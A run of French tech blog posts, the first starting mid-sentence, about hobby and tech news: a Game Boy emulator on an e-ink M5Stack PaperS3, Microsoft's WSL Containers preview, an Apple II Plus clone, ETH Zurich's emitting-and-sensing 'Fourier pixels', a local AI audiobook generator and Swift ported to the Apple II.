Avant j'aurais pensé que c'était impossible mais avec un M5Stack PapierS3 qui est un petit kit de dev à base d'ESP32-S3 et d'un écran e-ink tactile de 4,7 pouces en 960×540, il est parvenu !
Maintenant, si vous voulez tester chez vous, le firmware est dispo directement via M5 Burner, l'outil de flashage de M5Stack. Vous flashez, vous chargez une ROM, et hop, vous avez une Game Boy dans la poche qui se lit même en plein cagnard.
Pour bien comprendre l'exploit, il faut comprendre comment fonctionne ce type d'écran à encre électronique. Les écrans e-ink sont lents par nature et chaque "pixel" qui le compose prend plusieurs centaines de millisecondes à se rafraichir grâce à des séquences de tensions (les waveforms) qui viennent modifier son état. Sauf que l'écran du PaperS3 dispose d'une interface parallèle ligne/colonne qui permet de piloter la dalle en contournant la méthode waveform classique
Wenting attaque donc les pixels directement, en pipeline, ce qui rend possible un rafraîchissement allant jusqu'à 60-70 FPS. Et surtout sur la GameBoy, il n'a pas besoin de traiter tout l'écran car c'est du 160×144 pixels, et il ne faut que trois pixels pour représenter les quatre nuances de gris d'origine. En triplant l'image tramée, il obtient alors un agrandissement pixel-perfect ×3 tout en ne calculant qu'une fraction de la dalle.
Pour l'émulation elle-même, il n'a pas réinventé la roue. Faire émuler une Game Boy par un microcontrôleur, ça a été fait mille fois. Il s'st contenté de tester les émulateurs PeanutGB, WanaCGB et Crankboy et a gardé ce dernier qui est le plus rapide. La Game Boy Color, par contre, on oublie puisque son CPU tourne deux fois plus vite et le PaperS3 n'a pas les reins pour ça.
Concernant le son, une Game Boy crache quatre canaux audio, deux ondes carrées, un canal d'échantillons et un canal de bruit. Le PaperS3, lui, n'a qu'un buzzer, capable de pondre une seule note à la fois. Game over ? Pas du tout. Wenting a simplement repris la même technique qu'on utilisait sur les vieux PC sans carte son grâce aux canaux de la carte pour simuler une polyphonie.
Ensuite, les contrôles c'est du joypad tactile à l'écran et il a même ajouté le support des manettes bluetooth (encore bien bien expérimental). Sans oublier la sauvegarde rapide qui fige l'état de la console à l'extinction, pour reprendre le jeu là où vous en étiez par la suite.
Notez aussi que le PaperS3 est déjà en fin de vie, remplacé par le PaperColor sorti en mai mais j'imagine que Wenting fera une upgrade à un moment... on verra bien.
Microsoft vient de lâcher un truc qui va faire plaisir à tous ceux qui bidouillent fort des conteneurs Linux depuis leur machine Windows. Ça s'appelle WSL Containers (WSLC pour les intimes, et pas WSL 3) et l'objectif c'est de faire tourner des conteneurs Linux nativement sous Windows sans avoir à passer par des outils tiers du genre Docker.
Pour en profiter, tapez la commande suivante :
wsl --update --pre-release
Cela mettra à jour votre WSL en version 2.9.3 ou supérieure et vous obtiendrez alors une toute nouvelle commande : wslc.
WSLC est un alias qui lance en réalité container.exe et qui permet de gérer tout le cycle de vie d'un conteneur Linux avec des commandes très classiques : run, stop, build, tag, push, pull, prune. Voici un vrai exemple tiré de la doc de Microsoft :
Ce qu'on lance là c'est bien une image en provenance de
LinuxServer
dont je vous ai déjà parlé, et comme vous pouvez le voir, vous ne serez pas dépaysé si vous connaissez déjà un peu Docker.
Et la cerise sur le gâteau, c'est le support GPU. Vous collez --gpus all sur un conteneur PyTorch et CUDA répond présent, sans config tordue. C'est énorme pour ceux qui font du dev IA localement sous Windows. Vous allez enfin pouvoir entrainer ou inférer dans un conteneur propre sans avoir à vous taper avec les drivers.
Microsoft pousse aussi des SDK (packages NuGet pour C, C++ et C#) histoire de piloter tout ça depuis vos applis si ça vous amuse.
Maintenant, vous vous interrogez sûrement sur les perfs de WSLC et c'est bien normal. De ce que j'ai lu, comme WSLC passe par VirtioFS pour son système de fichiers par défaut, les accès seraient 2 fois plus rapide. J'emploie le conditionnel car personne n'a encore réalisé de benchmark indé mais si ça se vérifie, ça va être énorme tant le partage de fichiers entre Windows et un conteneur Linux c'était la misère. Là vos builds vont respiiiiirer !!!
Et pour calmer les inquiets : Docker Desktop, Podman et Rancher Desktop ne disparaissent pas, rassurez-vous. Microsoft précise même que ces outils profiteront de changements de bas niveau apportés par WSLC. C'est donc une fondation, et absolument pas une déclaration de guerre.
C'est pour le moment dispo en public preview, donc attendez-vous à quelques bugs, et la mise à dispo pour tous, ce sera normalement pour cet automne. En tout cas, je suis content de voir cette évolution. Ça arrive pile au moment où
Apple fait pareil de son côté
, ce qui en dit long sur où va le vent. Donc, si vous aviez décroché de WSL, c'est peut-être le moment de
remettre le nez dedans
.
À tester sur une machine de dev, pas en prod, hein ! Et vous me direz si le VirtioFS tient ses promesses.
Alors cette imprimante 3D ? Vous en êtes content ?
Non, ne me mentez pas ! Je sais que comme 90% des gens qui en ont une, elle prend grave la poussière !! Mais voici que voilà de quoi la remettre au boulot pour les vacances !
En effet, le designer jp.studio a partagé sur MakerWorld un petit modèle gratuit baptisé Balloon Boat, un bateau-jouet qui se propulse tout seul avec, tout simplement, un ballon de baudruche.
Le modèle Balloon Boat de jp.studio en cours d'impression
On gonfle le ballon, on le fixe à l'arrière du bateau, et l'air qui s'échappe en se dégonflant pousse la coque sur l'eau. Oui c'est vieux comme le monde mais c'est trop rigolo ! Les enfants vont adorer !
Les gens d'Adafruit l'ont imprimé pour leur série hebdo #3DThursday, sur Bambu X1C avec du PLA PolyMaker, et il faut compter à peine deux heures et une quarantaine de grammes de filament.
Par contre, s'il vous plait faites moi plaisir : Ne laissez jamais le ballon finir sa vie dans un ruisseau, un étang ou la mer. Un ballon en latex ou un bout de plastique coloré qui flotte, c'est un appât mortel pour un poisson, un oiseau ou une tortue marine. Ce plastique mettra des dizaines d'années à disparaître donc récupérez moi tout ça, séchez-le et rangez-le, vous le réutiliserez la prochaine fois et tout le monde sera content !
L'Apple II, ce vieux bouzin de 1977, n'a jamais eu le moindre secret pour personne. C'est d'autant plus vrai qu'Apple livrait carrément les schémas électronique de sa machine dans le manuel d'origine et à l'époque,
des bouquins entier décortiquant chaque circuit
étaient vendus dans le commerce.
C'était fou et ça a bien changé depuis ! Mais surtout c'est grâce à ça que Simon Boak s'est dit qu'il pouvait en refaire un de zéro !
Son projet s'appelle le
SB-mini-II
, et c'est un clone maison de l'Apple II Plus assemblé avec des puces qu'on trouve encore aujourd'hui. Le 65C02 (la version CMOS du fameux 6502) tourne à 1,024 MHz, à un cheveu de l'original qui carburait à 1,023 MHz et au lieu de la DRAM capricieuse d'époque, il lui a collé de la SRAM statique (48 Ko sur une puce et demie de 32 Ko, le surplus part à la poubelle, tant pis).
Et pour atteindre les 64 Ko complets, il enfiche à l'intérieur une carte Saturn 128K dans le slot 0, comme ça c'est réglé.
Mais le plus gros morceau, ça a été la vidéo. Boak a viré toute la "circuiterie" composite de l'Apple II, un vrai sac de nœuds bien connu des anciens, pour la remplacer par une
carte Apple II VGA
(un projet open source de markadev).
Celui lui a permis d'obtenir une image VGA bien nette sur un écran moderne. Autrement, sans cette carte, y'aurait rien eu à l'écran, malheureusmeent.
Et le clavier suit le même mouvement grâce à un Raspberry Pi Pico qui lui sert d'interface entre un clavier USB et la machine, en générant les mêmes signaux parallèles que le clavier ASCII d'origine. Bonus, Control + Print Screen redémarre le CPU comme aux temps jadis ! Et comme le Pico crache du 3,3V, il cause directement avec la logique 74HC en CMOS, sans le moindre convertisseur de niveau.
Côté fabrication, c'est son premier PCB en 4 couches, avec des plans internes dédiés à l'alimentation. Une entrée 12V passe par un régulateur Pololu pour sortir du 5V, et le tout rentre dans un boîtier imprimé en 3D, vaguement inspiré du vieux disque dur ProFile d'Apple. Les fichiers (schémas, nomenclature, CAO) sont sur GitHub sous licence MIT, si jamais vous voulez vous lancer.
Et ça tourne pour de vrai !! Boak a même posté une capture d'un vrai logiciel Apple II qui démarre dessus.
Je suis nul en soudure, mais si je savais souder, ça me donnerait envie de m'y coller, je pense. D'ailleurs, si le rétro vous chatouille, allez voir aussi ce malade qui fait tourner
MS-DOS sur un Apple IIe
, ou ce
Pico qui émule un Z80
.
Depuis dix ans, toute l'industrie du smartphone se galère avec le même problème, à savoir caser la caméra frontale sans bouffer de la place sur l'écran, ce qui nous a valu la tristement célèbre encoche, puis le poinçon, puis ces capteurs cachés sous la dalle qui rendent les selfies un peu flous. Une équipe de l'ETH Zurich, la grande école polytechnique suisse, vient de proposer une sortie de route radicale en concevant un pixel unique qui sait à la fois émettre et capter la lumière.
L'écran lui-même deviendrait alors sa propre caméra, sans objectif rapporté, sans trou dans l'image.
Les travaux ont été publiés dans la revue Nature sous le titre "Fourier pixels for bidirectional light control", et ils sortent du laboratoire d'ingénierie des matériaux optiques dirigé par le professeur David Norris.
Le principe met un peu à mal une vieille évidence de l'électronique : jusqu'ici un pixel affichait et un capteur enregistrait, chacun sur son composant, sans jamais se mélanger.
L'astuce ici c'est le "pixel de Fourier", du nom de l'analyse mathématique qui décompose un signal en une somme d'ondes simples. Sur une mince couche de métal, la lumière entrante se mue en onde de surface, un plasmon, c'est-à-dire une vibration d'électrons qui court le long de la puce, avant d'être réémise sous forme lumineuse.
En jouant sur les interférences de ces ondes, un seul pixel parvient du coup à contrôler et à mesurer l'intensité, mais aussi la phase et la polarisation de la lumière, trois propriétés que nos écrans actuels ignorent.
Pour démontrer le truc, l'équipe de Yannik Glauser et Sander Vonk a gravé ses motifs à quelques nanomètres près et reconstitué un "E" d'environ un millimètre de haut, lu directement par le dispositif. Les chercheurs ont même façonné des faisceaux en forme de beignet, percés en leur centre, histoire de prouver leur maîtrise sur la forme de l'onde.
L'idée de fusionner émission et détection n'est pas tout à fait neuve en fait, des équipes américaines avaient déjà mis au point des nanobâtonnets capables d'afficher et de détecter, sauf qu'elles s'en tenaient à l'intensité. Là, c'est un pixel qui pilote le front d'onde entier, ce qui rend possibles des images bien plus fines qu'un simple capteur de luminosité.
Norris évoque déjà des écrans-caméras filmant et affichant en même temps, des hologrammes, de la communication par la lumière et jusqu'au calcul quantique. Vaste programme donc.
Sauf que bon attention quand même, on parle d'un unique pixel posé sur une paillasse, là où une dalle de smartphone en aligne plusieurs millions, et le chercheur reconnaît que l'étape suivante, les assembler en matrice, est loin d'être gagnée. Mais bon, au moins on avance !
Je ne suis pas très client des livres audio parce que mon cerveau, en général, part faire des trucs dans son coin et je me retrouve à rien écouter du tout. Je préfère un petit podcast où ça rigole qu'une œuvre littéraire qui demande de la concentration.
Mais je sais que vous appréciez beaucoup les livres audio et il arrive très souvent qu'un bouquin n'ait pas sa version audio. Un vieux roman qui n'est plus édité, un PDF technique, une fanfiction de 800 pages, un article de korben.info ou juste un truc que personne chez Audible ne prendra le temps d'enregistrer parce que ça n'intéresse que vous.
Mais youpi, Finrandojin, un internaute, en a eu marre d'attendre l'audiobook de ses rêves et a codé Alexandria, un générateur de livre audio qui tourne 100% en local sur votre ordi.
Vous balancez un fichier .txt, .md ou .epub, dans l'appli, puis un LLM découpe le texte et annote chaque ligne avec le personnage qui parle et la manière dont il le dit, puis le moteur
Qwen3-TTS
joue le tout en local comme une vraie troupe de doubleurs professionnels. Et le résultat est assez propre, même si ça ne vaut pas encore un vrai enregistrement fait par un vrai humain. M'enfin, faute de mieux, pourquoi pas !
Et surtout, ce LLM qui fait le découpage, vous le branchez où vous voulez. En local via LM Studio ou Ollama, ou dans le cloud avec OpenAI ou n'importe quelle API compatible. Ensuite, une fois le script annoté, Alexandria vous propose 9 voix pré-entraînées avec contrôle de l'émotion et du ton.
Vous pouvez aussi
cloner une voix
à partir de 5 à 15 secondes d'échantillon, ou carrément en fabriquer une à partir d'une simple description écrite. Vous tapez par exemple "Une voix masculine chaude et grave, au ton calme et posé" (c'est ma voix quoi...lol) et hop, il vous la fabrique.
La fonctionnalité de génération de personnas fait également gagner un temps de dingue puisqu'en un clic, le LLM analyse le bouquin, invente une description de voix pour chaque personnage, génère l'audio de référence et assigne tout automatiquement.
Et pour les obsédés du détail, il y a même un éditeur web où vous regénérez n'importe quelle ligne individuellement, du training LoRA pour vous fabriquer des voix persistantes, et un export en MP3 en pistes séparées pour bidouiller ça ensuite dans Audacity, ou en
M4B
chapitré qui rentre direct dans Audiobookshelf, Apple Books ou VLC. Et tout ça bien sûr, dans une dizaine de langues, français compris.
Alexandria exigera par contre une carte graphique avec 8 Go de VRAM au minimum, 16 et plus si vous voulez du débit correct. Et si vous êtes sur Mac, mauvaise nouvelle, l'accélération MPS d'Apple Silicon n'est pas encore supportée, donc ça tournera en mode CPU, donc ce sera lent. Mais c'est pas très grave, vous lancez la génération, et vous retournez lire d'autres articles sur mon site pour passer le temps.
Même galère aussi pour les gens qui ont de l'AMD sous Windows. Les chanceux par contre, ce sont les possesseurs de NVIDIA sous Windows ou Linux et les AMD sous Linux. Maintenant si vous tenez juste à faire
parler votre Mac sans y passer trois heures par chapitre
, vous serez mieux servi ailleurs qu'avec Alexandria.
Pour l'installation, le plus simple passe par
Pinokio
en deux clics, et si vous n'avez pas le GPU qui va bien, il y a un notebook Google Colab pour tourner sur un T4 gratuit dans le navigateur. Comptez quand même un téléchargement de 3,5 Go pour les modèles TTS à la première utilisation, ils ne sont pas inclus dans l'install.
Vous l'aurez compris, c'est du DIY un peu gourmand en GPU, mais pour tous vos
ebooks à écouter
qui n'auront jamais de narrateur, ça ouvre les perspectives ! Le code est sous licence MIT et je vous invite quand même à tester avec un chapitre avant de vous lancer dans un roman entier.
Swift, le langage maison qu'Apple a sorti en 2014 pour remplacer le vieillissant Objective-C, vient de débarquer sur une machine qui a quarante-neuf ans de plus que lui. Yeo Kheng Meng, un bidouilleur basé à Singapour, a restauré un Apple II Plus puis s'est demandé jusqu'où il pouvait pousser ce vieux tromblon, ce qui a donné SwiftII, un petit environnement Swift qui tourne aussi bien sur l'Apple II d'origine de 1977 que sur les IIe qui ont suivi.
Le défi donne le vertige quand on connaît la bête. L'Apple II carburait à un processeur 6502 cadencé à 1 MHz avec 4 Ko de mémoire à sa sortie, là où Swift a été pensé pour des machines des milliards de fois plus puissantes, et il a fallu pousser la RAM à 48 Ko pour espérer y faire tenir quoi que ce soit.
Plutôt que de traduire directement le code en instructions 6502, Yeo a repris une idée qu'Apple avait déjà eue en 1979 avec son Apple Pascal, qui consistait à compiler le programme en bytecode, c'est-à-dire un code intermédiaire générique, avant de l'exécuter dans une machine virtuelle, une sorte de processeur simulé en logiciel par-dessus le vrai. Presque un demi-siècle d'écart, et la même astuce pour contourner les limites du 6502.
Le pipeline reste volontairement minimaliste pour grappiller chaque octet, puisque le code source passe dans un analyseur, puis un parser qui crache directement le bytecode sans construire d'arbre intermédiaire, le tout avalé par une petite machine virtuelle à pile largement inspirée du livre Crafting Interpreters de Robert Nystrom.
Forcément, ce Swift-là est une version croupion. Il n'existe qu'un seul type de nombre, l'entier signé sur 16 bits, donc rien au-delà de -32 768 à 32 767, et surtout aucun nombre à virgule vu que le 6502 n'a pas de quoi calculer ça. Les chaînes de caractères sont du pur ASCII, les noms de variables plafonnent à onze caractères, et exit les closures, dictionnaires, gestion d'erreurs et autres async/await.
Côté ce qui marche quand même, on récupère les let et var avec inférence de type, les conditions, les boucles, les fonctions, les optionnels, les tableaux et même l'interpolation de chaînes, de quoi écrire de vrais petits programmes. Le projet embarque d'ailleurs un jeu de motos lumineuses et quelques démos graphiques qui tournent pour de bon sur le matériel d'époque.
La contrainte la plus délicate reste la mémoire, parce qu'une fois ProDOS chargé il ne reste qu'environ 40 000 octets pour votre programme, et comme le 6502 ne sait pas adresser davantage, il faut jongler avec des banques de mémoire commutées comme à la grande époque.
Le tout est écrit en C90, compilé avec cc65, et distribué en neuf images disque différentes selon les machines visées. Détail savoureux, Yeo a bouclé ce chantier en deux mois avec l'aide de Claude Opus 4.8 et de Codex, là où il estime que seul, ça lui aurait coûté deux à trois ans de travail.
Du coup, on a un langage de 2014 qui cause à une puce de 1977 grâce à une recette de 1979. C'est parfaitement inutile, et c'est exactement pour ça que c'est chouette.